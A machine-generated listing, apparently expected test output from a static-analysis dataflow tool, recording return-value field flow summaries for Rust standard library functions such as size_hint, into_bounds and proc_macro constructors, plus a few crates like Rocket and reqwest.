file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:alloc::_::::find_upper_bound_edge | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::find_upper_bound_edge | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:alloc::_::::size_hint | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::size_hint | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:alloc::_::::size_hint | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::size_hint | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:alloc::_::::size_hint | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::size_hint | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:alloc::_::::size_hint | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::size_hint | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:core::_::::size_hint | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::size_hint | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:core::_::::into_bounds | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::into_bounds | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:core::_::::bound | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::bound | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:core::_::::into_bounds | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::into_bounds | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:core::_::::into_inner | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::into_inner | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:core::_::::into_bounds | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::into_bounds | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:core::_::::bound | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::bound | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:core::_::::into_bounds | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::into_bounds | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:core::_::::bound | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::bound | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:core::_::::unzip | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::unzip | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:core::_::::into_bounds | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::into_bounds | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:core::_::::into_bounds | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::into_bounds | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:core::_::::size_hint | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::size_hint | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:core::_::crate::slice::sort::shared::find_existing_run | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::crate::slice::sort::shared::find_existing_run | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:std::_::::get_mut | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::get_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:std::_::::get_ref | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::get_ref | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:std::_::::into_inner | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::into_inner | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in repo:https://github.com/rwf2/Rocket:rocket_http::_::::split_at_byte | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket_http::_::::split_at_byte | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::try_reuse | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::try_reuse | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1].Field[crate::ops::range::Bound::Excluded(0)] in lang:core::_::::into_bounds | Excluded | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:core::_::::into_bounds | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1].Field[crate::ops::range::Bound::Excluded(0)] in lang:core::_::::into_bounds | Excluded | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:core::_::::into_bounds | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1].Field[crate::ops::range::Bound::Excluded(0)] in lang:core::_::::into_bounds | Excluded | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:core::_::::into_bounds | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1].Field[crate::ops::range::Bound::Excluded(0)] in lang:core::_::::into_bounds | Excluded | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:core::_::::into_bounds | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1].Field[crate::ops::range::Bound::Included(0)] in lang:core::_::::into_bounds | Included | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:core::_::::into_bounds | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1].Field[crate::ops::range::Bound::Included(0)] in lang:core::_::::into_bounds | Included | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:core::_::::into_bounds | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1].Field[crate::ops::range::Bound::Included(0)] in lang:core::_::::into_bounds | Included | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:core::_::::into_bounds | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1].Field[crate::option::Option::Some(0)] in lang:alloc::_::::size_hint | Some | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:alloc::_::::size_hint | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1].Field[crate::option::Option::Some(0)] in lang:alloc::_::::size_hint | Some | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:alloc::_::::size_hint | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1].Field[crate::option::Option::Some(0)] in lang:alloc::_::::size_hint | Some | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:alloc::_::::size_hint | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1].Field[crate::option::Option::Some(0)] in lang:alloc::_::::size_hint | Some | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:alloc::_::::size_hint | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1].Field[crate::option::Option::Some(0)] in lang:alloc::_::::size_hint | Some | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:alloc::_::::size_hint | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1].Field[crate::option::Option::Some(0)] in lang:alloc::_::::size_hint | Some | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:alloc::_::::size_hint | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1].Field[crate::option::Option::Some(0)] in lang:alloc::_::::size_hint | Some | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:alloc::_::::size_hint | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1].Field[crate::option::Option::Some(0)] in lang:alloc::_::::nexts | Some | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:alloc::_::::nexts | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1].Field[crate::option::Option::Some(0)] in lang:alloc::_::::size_hint | Some | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:alloc::_::::size_hint | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1].Field[crate::option::Option::Some(0)] in lang:alloc::_::::size_hint | Some | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:alloc::_::::size_hint | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1].Field[crate::option::Option::Some(0)] in lang:alloc::_::::size_hint | Some | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:alloc::_::::size_hint | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1].Field[crate::option::Option::Some(0)] in lang:alloc::_::::size_hint | Some | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:alloc::_::::size_hint | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1].Field[crate::option::Option::Some(0)] in lang:core::_::::size_hint | Some | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:core::_::::size_hint | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1].Field[crate::option::Option::Some(0)] in lang:core::_::::unzip | Some | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:core::_::::unzip | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1].Field[crate::option::Option::Some(0)] in lang:core::_::::size_hint | Some | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:core::_::::size_hint | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1].Reference in lang:std::_::::get_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:std::_::::get_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1].Reference in lang:std::_::::get_ref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:std::_::::get_ref | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1].Reference in repo:https://github.com/rwf2/Rocket:rocket_http::_::::split_at_byte | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in repo:https://github.com/rwf2/Rocket:rocket_http::_::::split_at_byte | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[2] in lang:core::_::::into_parts | tuple.2 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::into_parts | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::Group(0)] in lang:proc_macro::_::::new | Group | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::::new | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::Group(0)].Field[crate::bridge::Group::delimiter] in lang:proc_macro::_::::new | Group.delimiter | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::Group(0)] in lang:proc_macro::_::::new | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::Group(0)].Field[crate::bridge::Group::stream] in lang:proc_macro::_::::new | Group.stream | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::Group(0)] in lang:proc_macro::_::::new | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::Ident(0)] in lang:proc_macro::_::::new | Ident | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::::new | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::Ident(0)] in lang:proc_macro::_::::new_raw | Ident | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::::new_raw | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::Ident(0)].Field[crate::bridge::Ident::span] in lang:proc_macro::_::::new | Ident.span | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::Ident(0)] in lang:proc_macro::_::::new | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::Ident(0)].Field[crate::bridge::Ident::span] in lang:proc_macro::_::::new_raw | Ident.span | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::Ident(0)] in lang:proc_macro::_::::new_raw | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::Span(0)] in lang:proc_macro::_::::span | Span | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::::span | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::Span(0)] in lang:proc_macro::_::::span | Span | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::::span | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::Span(0)] in lang:proc_macro::_::::span | Span | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::::span | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::TokenStream(0)] in lang:proc_macro::_::::stream | TokenStream | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::::stream | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::TokenTree::Group(0)] in lang:proc_macro::_::::from | Group | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::::from | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::TokenTree::Ident(0)] in lang:proc_macro::_::::from | Ident | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::::from | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::TokenTree::Literal(0)] in lang:proc_macro::_::::from | Literal | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::::from | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::TokenTree::Punct(0)] in lang:proc_macro::_::::from | Punct | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::::from | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::alloc::layout::Layout::size] in lang:core::_::::from_size_align_unchecked | Layout.size | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::from_size_align_unchecked | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::array::iter::IntoIter::alive] in lang:core::_::::new_unchecked | IntoIter.alive | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new_unchecked | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::array::iter::IntoIter::alive].Field[crate::ops::index_range::IndexRange::end] in lang:core::_::::new_unchecked | IndexRange.end | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::array::iter::IntoIter::alive] in lang:core::_::::new_unchecked | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::array::iter::IntoIter::alive].Field[crate::ops::index_range::IndexRange::start] in lang:core::_::::new_unchecked | IndexRange.start | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::array::iter::IntoIter::alive] in lang:core::_::::new_unchecked | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::array::iter::IntoIter::data] in lang:core::_::::new_unchecked | IntoIter.data | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new_unchecked | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::block::BlockRng64::core] in repo:https://github.com/rust-random/rand:rand_core::_::::new | BlockRng64.core | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rust-random/rand:rand_core::_::::new | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::block::BlockRng::core] in repo:https://github.com/rust-random/rand:rand_core::_::::new | BlockRng.core | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rust-random/rand:rand_core::_::::new | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::borrow::Cow::Borrowed(0)] in lang:alloc::_::::clone | Borrowed | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::clone | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::borrow::Cow::Borrowed(0)] in lang:alloc::_::::from | Borrowed | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::from | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::borrow::Cow::Borrowed(0)].Reference in lang:alloc::_::::from | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::borrow::Cow::Borrowed(0)] in lang:alloc::_::::from | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::borrow::Cow::Owned(0)] in lang:alloc::_::::from | Owned | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::from | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::boxed::Box(1)] in lang:alloc::_::::from_non_null_in | Box(1) | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::from_non_null_in | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::boxed::Box(1)] in lang:alloc::_::::from_raw_in | Box(1) | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::from_raw_in | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::boxed::Box(1)] in lang:alloc::_::::new_uninit_in | Box(1) | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::new_uninit_in | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::boxed::Box(1)] in lang:alloc::_::::new_zeroed_in | Box(1) | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::new_zeroed_in | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::bridge::DelimSpan::close] in lang:proc_macro::_::::from_single | DelimSpan.close | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::::from_single | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::bridge::DelimSpan::entire] in lang:proc_macro::_::::from_single | DelimSpan.entire | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::::from_single | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::bridge::DelimSpan::open] in lang:proc_macro::_::::from_single | DelimSpan.open | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::::from_single | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::bridge::Marked::value] in lang:proc_macro::_::::mark | Marked.value | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::::mark | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::bridge::client::ProcMacro::Attr::name] in lang:proc_macro::_::::attr | Attr.name | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::::attr | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::bridge::client::ProcMacro::Bang::name] in lang:proc_macro::_::::bang | Bang.name | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::::bang | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::bridge::client::ProcMacro::CustomDerive::attributes] in lang:proc_macro::_::::custom_derive | CustomDerive.attributes | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::::custom_derive | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::bridge::client::ProcMacro::CustomDerive::trait_name] in lang:proc_macro::_::::custom_derive | CustomDerive.trait_name | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::::custom_derive | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::bridge::handle::InternedStore::owned] in lang:proc_macro::_::::new | InternedStore.owned | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::::new | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::bridge::handle::InternedStore::owned].Field[crate::bridge::handle::OwnedStore::counter] in lang:proc_macro::_::::new | OwnedStore.counter | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::bridge::handle::InternedStore::owned] in lang:proc_macro::_::::new | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::bridge::handle::OwnedStore::counter] in lang:proc_macro::_::::new | OwnedStore.counter | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::::new | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::bridge::server::MaybeCrossThread::cross_thread] in lang:proc_macro::_::::new | MaybeCrossThread.cross_thread | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::::new | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::cell::BorrowRef::borrow] in lang:core::_::::clone | BorrowRef | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::clone | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::cell::Cell::value] in lang:core::_::::from | Cell | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::from | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::cell::Cell::value] in lang:core::_::::new | Cell | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::cell::Cell::value].Field[crate::cell::UnsafeCell::value] in lang:core::_::::from | UnsafeCell | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::cell::Cell::value] in lang:core::_::::from | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::cell::Cell::value].Field[crate::cell::UnsafeCell::value] in lang:core::_::::new | UnsafeCell | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::cell::Cell::value] in lang:core::_::::new | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::cell::Ref::borrow] in lang:core::_::::map | Ref.borrow | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::map | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::cell::RefCell::value] in lang:core::_::::from | RefCell.value | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::from | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::cell::RefCell::value] in lang:core::_::::new | RefCell.value | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::cell::RefCell::value].Field[crate::cell::UnsafeCell::value] in lang:core::_::::from | UnsafeCell | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::cell::RefCell::value] in lang:core::_::::from | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::cell::RefCell::value].Field[crate::cell::UnsafeCell::value] in lang:core::_::::new | UnsafeCell | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::cell::RefCell::value] in lang:core::_::::new | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::cell::RefMut::borrow] in lang:core::_::::map | RefMut.borrow | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::map | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::cell::SyncUnsafeCell::value] in lang:core::_::::from | SyncUnsafeCell | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::from | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::cell::SyncUnsafeCell::value] in lang:core::_::::new | SyncUnsafeCell | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::cell::SyncUnsafeCell::value].Field[crate::cell::UnsafeCell::value] in lang:core::_::::from | UnsafeCell | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::cell::SyncUnsafeCell::value] in lang:core::_::::from | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::cell::SyncUnsafeCell::value].Field[crate::cell::UnsafeCell::value] in lang:core::_::::new | UnsafeCell | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::cell::SyncUnsafeCell::value] in lang:core::_::::new | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::cell::UnsafeCell::value] in lang:core::_::::from | UnsafeCell | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::from | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::cell::UnsafeCell::value] in lang:core::_::::new | UnsafeCell | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::TryReserveError::kind] in lang:alloc::_::::from | TryReserveError | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::from | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::binary_heap::BinaryHeap::data] in lang:alloc::_::::clone | BinaryHeap | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::clone | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::binary_heap::BinaryHeap::data] in lang:alloc::_::::from | BinaryHeap | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::from | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::binary_heap::DrainSorted::inner] in lang:alloc::_::::drain_sorted | DrainSorted | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::drain_sorted | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::binary_heap::IntoIterSorted::inner] in lang:alloc::_::::into_iter_sorted | IntoIterSorted | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::into_iter_sorted | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::dedup_sorted_iter::DedupSortedIter::iter] in lang:alloc::_::::new | DedupSortedIter | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::new | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::dedup_sorted_iter::DedupSortedIter::iter].Field[crate::iter::adapters::peekable::Peekable::iter] in lang:alloc::_::::new | Peekable.iter | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::dedup_sorted_iter::DedupSortedIter::iter] in lang:alloc::_::::new | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::map::BTreeMap::alloc] in lang:alloc::_::::clone | BTreeMap.alloc | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::clone | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::map::BTreeMap::alloc] in lang:alloc::_::::bulk_build_from_sorted_iter | BTreeMap.alloc | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::bulk_build_from_sorted_iter | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::map::BTreeMap::alloc] in lang:alloc::_::::new_in | BTreeMap.alloc | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::new_in | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::map::BTreeMap::alloc] in lang:alloc::_::::split_off | BTreeMap.alloc | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::split_off | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::map::BTreeMap::alloc].Field[crate::mem::manually_drop::ManuallyDrop::value] in lang:alloc::_::::clone | ManuallyDrop | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::map::BTreeMap::alloc] in lang:alloc::_::::clone | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::map::BTreeMap::alloc].Field[crate::mem::manually_drop::ManuallyDrop::value] in lang:alloc::_::::bulk_build_from_sorted_iter | ManuallyDrop | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::map::BTreeMap::alloc] in lang:alloc::_::::bulk_build_from_sorted_iter | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::map::BTreeMap::alloc].Field[crate::mem::manually_drop::ManuallyDrop::value] in lang:alloc::_::::new_in | ManuallyDrop | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::map::BTreeMap::alloc] in lang:alloc::_::::new_in | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::map::BTreeMap::alloc].Reference in lang:alloc::_::::split_off | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::map::BTreeMap::alloc] in lang:alloc::_::::split_off | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::map::Cursor::current] in lang:alloc::_::::clone | Cursor.current | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::clone | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::map::Cursor::root] in lang:alloc::_::::clone | Cursor.root | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::clone | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::map::ExtractIf::pred] in lang:alloc::_::::extract_if | ExtractIf.pred | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::extract_if | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::map::Iter::length] in lang:alloc::_::::iter | Iter.length | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::iter | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::map::Iter::length] in lang:alloc::_::::iter | Iter.length | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::iter | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::map::Iter::length] in lang:alloc::_::::clone | Iter.length | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::clone | -| file://:0:0:0:0 | 